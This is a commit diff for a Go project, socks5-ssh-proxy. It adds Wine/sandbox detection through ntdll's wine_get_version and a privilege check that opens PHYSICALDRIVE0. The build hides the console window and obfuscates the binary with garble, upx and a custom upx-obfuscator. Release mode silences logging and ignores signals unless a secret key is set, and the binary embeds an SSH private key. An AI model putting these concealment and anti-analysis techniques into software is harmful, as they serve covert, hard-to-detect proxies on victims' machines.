Initial work on wine_get_version ntdll.dll call, need to get the string from return
This commit is contained in:
parent
3582461888
commit
729b0877df
|
|
@ -35,7 +35,9 @@ builds:
|
|||
|
||||
- id: "win-release"
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
- CGO_ENABLED=1
|
||||
- CC=x86_64-w64-mingw32-gcc
|
||||
- CXX=x86_64-w64-mingw32-g++
|
||||
goos:
|
||||
- windows
|
||||
goarch:
|
||||
|
|
|
|||
6
Makefile
6
Makefile
|
|
@ -1,7 +1,6 @@
|
|||
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
|
||||
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_unix.go
|
||||
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
||||
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
|
||||
RELEASE_VERBOSE_MODE_KEY ?= ""
|
||||
|
||||
all: socks5-ssh-proxy
|
||||
|
||||
|
|
@ -21,7 +20,8 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
|
|||
upx $@
|
||||
win: socks5-ssh-proxy.exe
|
||||
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
||||
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
||||
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
||||
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
|
||||
upx $@
|
||||
go run cmd/upx-obfuscator/main.go $@
|
||||
goreleaser: resources $(GARBLE_BIN)
|
||||
|
|
|
|||
1
main.go
1
main.go
|
|
@ -142,5 +142,6 @@ func main() {
|
|||
func mainLoop() {
|
||||
for {
|
||||
// TODO handle CTRL+C in debug and release + VMK modes
|
||||
time.Sleep(time.Minute)
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -14,7 +14,7 @@ var resourceSSHPrivateKey string
|
|||
func init() {
|
||||
dontSilenceKey := os.Getenv("VMK")
|
||||
if dontSilenceKey != cfg.VerboseModeKey {
|
||||
systemRouteAllLogging(os.DevNull)
|
||||
systemIgnoreAllSignals()
|
||||
// systemRouteAllLogging(os.DevNull)
|
||||
// systemIgnoreAllSignals()
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,4 @@
|
|||
#!/bin/sh
|
||||
export VMK="ShowMeTheMoney"
|
||||
wine64 wineconsole &
|
||||
wine64 /Users/jerry/src/github.com/xor-gate/go-socks5-ssh-proxy/socks5-ssh-proxy.exe
|
||||
|
|
@ -156,6 +156,10 @@ func systemIgnoreAllSignals() {
|
|||
}
|
||||
|
||||
func systemOSDetect() {
|
||||
wineVersion := systemGetWINEVersion()
|
||||
log.Println("WINE version", wineVersion)
|
||||
log.Println("IsUserRoot", systemIsUserRoot())
|
||||
|
||||
wineOSFiles := systemGetWellKnownWINEOSFiles()
|
||||
if len(wineOSFiles) != 0 {
|
||||
log.Println("WINE detected")
|
||||
|
|
|
|||
|
|
@ -0,0 +1,14 @@
|
|||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
//
|
||||
package main
|
||||
|
||||
func systemGetWINEVersion() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
|
||||
func systemIsUserRoot() bool {
|
||||
return false
|
||||
}
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"C"
|
||||
"golang.org/x/sys/windows"
|
||||
"log"
|
||||
"os"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func systemGetWINEVersion() string {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
wineGetVersionFunc := ntdll.NewProc("wine_get_version")
|
||||
|
||||
err := wineGetVersionFunc.Find()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
r1, r2, r3 := wineGetVersionFunc.Call()
|
||||
|
||||
log.Println("r1", r1)
|
||||
log.Println("r2", r2)
|
||||
log.Println("r3", r3)
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func systemIsUserRoot() bool {
|
||||
root := true
|
||||
|
||||
_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
|
||||
if err != nil {
|
||||
root = false
|
||||
}
|
||||
|
||||
return root
|
||||
}
|
||||
Loading…
Reference in New Issue